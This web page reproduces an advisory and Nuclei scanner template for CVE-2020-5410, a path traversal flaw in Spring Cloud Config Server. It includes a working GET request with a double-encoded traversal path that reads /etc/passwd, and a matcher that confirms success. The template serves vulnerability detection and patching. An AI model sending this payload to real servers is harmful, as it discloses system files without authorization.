CVE-2020-5410: Spring Cloud Config Server - Local File Inclusion

2025-08-01 Spring Cloud Config Server PoC Public

Description

Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.

PoC

id: CVE-2020-5410

info:
  name: Spring Cloud Config Server - Local File Inclusion
  author: mavericknerd
  severity: high
  description: Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.
  reference:
    - https://tanzu.vmware.com/security/cve-2020-5410
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5410
    - https://github.com/Live-Hack-CVE/CVE-2020-5410
    - https://github.com/tdtc7/qps
    - https://github.com/alphaSeclab/sec-daily-2020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-5410
    cwe-id: CWE-23,CWE-22
    epss-score: 0.95586
    epss-percentile: 0.99868
    cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_config
  tags: cve,cve2020,lfi,springcloud,config,traversal,kev,vmware,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402200440640aa21395df95e76ee0adfdfad3bf1e7330e3a4db1b26b48513f8be937d022003eee0849f77866aad075fc981d706b68e677c676d8547f1521dce1522c4a6a6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5410.yaml

References

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